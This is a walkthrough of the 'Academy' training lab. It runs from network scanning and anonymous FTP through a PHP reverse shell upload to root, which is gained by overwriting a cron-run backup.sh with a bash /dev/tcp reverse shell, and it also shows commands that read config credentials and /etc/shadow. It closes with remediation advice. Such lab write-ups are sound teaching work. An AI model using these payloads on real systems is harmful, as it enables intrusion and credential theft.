July 19, 2026

Academy Lab WalkThrough — A Complete Penetration Testing Guide

1. TESTER INFORMATION

By Rootxsecuritynetwork

4 min read

Name : Aryan Mirdha

Email : aryanmirdha081@gmail.com

Lab Name : Academy Lab

Platform : Kali Linux

  1. OBJECTIVE

The objective of this lab was to perform a controlled penetration test on the Academy Lab machine to identify vulnerabilities, exploit misconfigurations, gain system access, and achieve privilege escalation up to root level — strictly for academic and learning purposes.

  1. LAB ENVIRONMENT

Attacker Machine : Kali Linux

Target Machine : Academy Machine

Network Type : Same internal network

Kali IP Address :

10.0.2.3

Target IP Address :

10.0.2.152

Tools Used:

arp-scan

nmap

ftp

gobuster

Pentest Monkey PHP Reverse Shell

Netcat (nc)

MySQL client

Linux command-line utilities

arp-scan
nmap
ftp
gobuster
Pentest Monkey PHP Reverse Shell
Netcat (nc)
MySQL client
Linux command-line utilities
  1. PHASE 1 — NETWORK RECONNAISSANCE

STEP 4.1 — Identify Kali Machine IP

Command:

ip a

Output:

Kali IP Address: 10.0.2.3

STEP 4.2 — ARP Scan (Host Discovery)

Command:

arp-scan -l

Output:

Target machine discovered at IP: 10.0.2.152
  1. PHASE 2 — PORT SCANNING & SERVICE ENUMERATION

STEP 5.1 — Nmap Scan

Command:

nmap 10.0.2.152 -sC

Output:

PORT   STATE    SERVICE
21/tcp open     ftp
22/tcp open     ssh
80/tcp open     http

Open Ports Found:

  • Port 21 — FTP — Anonymous login allowed
  • Port 22 — SSH — Secure Shell
  • Port 80 — HTTP — Apache2 Debian web server
  1. PHASE 3 — FTP ACCESS & FILE RETRIEVAL

STEP 6.1 — Anonymous FTP Login

Command:

ftp 10.0.2.152

Credentials:

  • Username : anonymous
  • Password : (blank — press Enter)

Output:

Connected to 10.0.2.152.
220 (vsFTPd 3.0.3)
Name (10.0.2.152:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
ftp>

STEP 6.2 — Directory Listing

Command:

ftp> ls

Output:

200 PORT command successful.
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0              46 note.txt
226 Directory send OK.

STEP 6.3 — Download note.txt

Command:

ftp> get note.txt

Output:

local: note.txt remote: note.txt
200 PORT command successful.
150 Opening BINARY mode data connection for note.txt (46 bytes).
226 Transfer complete.
46 bytes received in 0.00 secs (46.00 kB/s)

STEP 6.4 — Read note.txt (Local Terminal)

Command:

cat note.txt

Output:

(Contents contain credentials for web application login)
  1. PHASE 4 — WEB DIRECTORY ENUMERATION

STEP 7.1 — Gobuster Directory Brute-force

Command:

gobuster dir -u http://10.0.2.152 -w wordlist.txt

Output:

/academy            (Status: 200)
/phpmyadmin         (Status: 200)
  1. PHASE 5 — WEB APPLICATION ACCESS & REVERSE SHELL

STEP 8.1 — Web Application Login

URL:

http://10.0.2.152/academy

Credentials:

  • (Obtained from note.txt via FTP)

Result:

Login successful

STEP 8.2 — Upload PHP Reverse Shell

Action:

  1. Navigated to "My Profile" section
  2. Uploaded Pentest Monkey PHP Reverse Shell from GitHub
  3. Set up listener on Kali machine

Listener Command:

nc -lvnp 4444

Output:

listening on [any] 4444 ...

Result:

Reverse shell received
  1. PHASE 6 — POST-EXPLOITATION & CREDENTIAL DISCOVERY

STEP 9.1 — Configuration File Discovery

Command:

cat /var/www/academy/includes/config.php

Output:

Database credentials discovered
Username: grimmie
Password: (extracted from config file)

STEP 9.2 — MySQL Database Exploitation

Command:

mysql -u grimmie -p'My_V3ryS3cur3_P4ss' -e "SHOW DATABASES; USE mysql; SHOW TABLES; SELECT * FROM user;"

Output:

Database users discovered:
- root
- pma
- grimmie
  1. PHASE 7 — PRIVILEGE ESCALATION (ROOT ACCESS)

STEP 10.1 — Switch to grimmie User

Action:

Logged in using grimmie credentials via terminal

Result:

Access as user grimmie

STEP 10.2 — Discover backup.sh Script

Command:

ls -la

Output:

-rwxr-xr-x  1 grimmie grimmie   74 backup.sh

STEP 10.3 — Analyze backup.sh Contents

Command:

cat backup.sh

Output:

(Analyzed the script contents)

STEP 10.4 — Replace backup.sh with Malicious Payload

Action:

  1. Deleted the original backup.sh script
  2. Replaced with malicious bash reverse shell payload

Payload Injected:

bash

bash -i >& /dev/tcp/10.0.2.3/444 0>&1

STEP 10.5 — Start Netcat Listener (Attacker Machine)

Command:

nc -lvp 4444

Output:

listening on [any] 4444 ...

STEP 10.6 — Execute backup.sh (Triggers as Root)

Action:

Executed the modified backup.sh script

Listener Output:

listening on [any] 4444 ...
connect to [10.0.2.3] from (UNKNOWN) [10.0.2.152] 55868

Result:

Root access achieved
root@academy:~#

STEP 10.7 — Retrieve Root Flag

Command:

cat flag.txt

Output:

(Root flag retrieved successfully)
  1. PHASE 8 — PASSWORD HASH EXTRACTION

STEP 11.1 — Access /etc/shadow

Command:

cat /etc/shadow

Output:

Password hashes extracted for all users
These hashes could potentially be cracked to enable SSH access as root
  1. ATTACK CHAIN (Visual Flow)
ip a → Identify Kali IP (10.0.2.3)
        ↓
arp-scan -l → Target Found: 10.0.2.152
        ↓
nmap 10.0.2.152 -sC → Ports: 21, 22, 80 Open
        ↓
FTP (21) → Anonymous Login → note.txt → Credentials Obtained
        ↓
HTTP (80) → gobuster → /academy, /phpmyadmin
        ↓
Login via creds from FTP → Upload PHP Reverse Shell
        ↓
Reverse Shell Received
        ↓
config.php Discovered (grimmie credentials)
        ↓
MySQL Database Exploit (root, pma, grimmie users)
        ↓
Switch to grimmie user
        ↓
backup.sh Discovered
        ↓
Replace backup.sh with Reverse Shell Payload
        ↓
Execute backup.sh (Triggers as Root)
        ↓
Root Access Achieved (root@academy:~#)
        ↓
cat flag.txt (Root Flag Retrieved)
        ↓
cat /etc/shadow (Password Hash Dump)
  1. VULNERABILITIES IDENTIFIED
1 Anonymous FTP Access Critical Disable anonymous login; require credentials
2 Credentials in Plaintext FileCritical Never store passwords in publicly accessible files
3 Weak Web App Security High Implement proper authentication & validation
4 Unrestricted File Upload Critical Validate file type & content before upload
5 Insecure File Permissions High Restrict write permissions on scripts
6 Privilege Escalation via Cron-CriticalDo not run user-writable scripts as root
  1. TOOLS USED
ip a — Identify attacker machine IP address arp-scan — Host discovery on local network nmap — Port scanning & service enumeration ftp — Anonymous FTP access & file download gobuster — Directory brute-force on web server Pentest Monkey Shell — PHP reverse shell for initial access Netcat (nc) — Listener for reverse shell connections MySQL client — Database enumeration & credential extraction cat — Read configuration files and flags
  1. RESULT
The Academy Machine was successfully compromised through multiple vulnerabilities including:
FTP misconfiguration (anonymous login enabled)
Weak web application security
Insecure file permissions (backup.sh writable by low-privilege user)
Poor privilege management (cron job executing as root)

Complete root access was achieved and sensitive data including database credentials and password hashes were extracted.
  1. CONCLUSION

This lab demonstrated how improper security configurations can lead to full system compromise. The exercise provided hands-on experience in:

  1. Reconnaissance (arp-scan, nmap)
  2. Initial Access (Anonymous FTP → Credential Discovery)
  3. Web Enumeration (Gobuster directory busting)
  4. Reverse Shell (PHP shell upload)
  5. Post-Exploitation (Config file → Database creds)
  6. Privilege Escalation (backup.sh cron job abuse → Root)

Key Learning Outcomes:

  • Always disable anonymous FTP access
  • Never store plaintext credentials in web-accessible files
  • Validate all file uploads strictly
  • Restrict write permissions on cron-executed scripts
  • Apply principle of least privilege for scheduled tasks
  1. DECLARATION

This penetration test was conducted strictly in a controlled lab environment for educational purposes only.

Target Scope : 10.0.2.152 (Academy Lab)

Tester : Aryan Mirdha

Email : aryanmirdha081@gmail.com

Academy Lab WalkThrough

Prepared By : Aryan Mirdha

Email : aryanmirdha081@gmail.com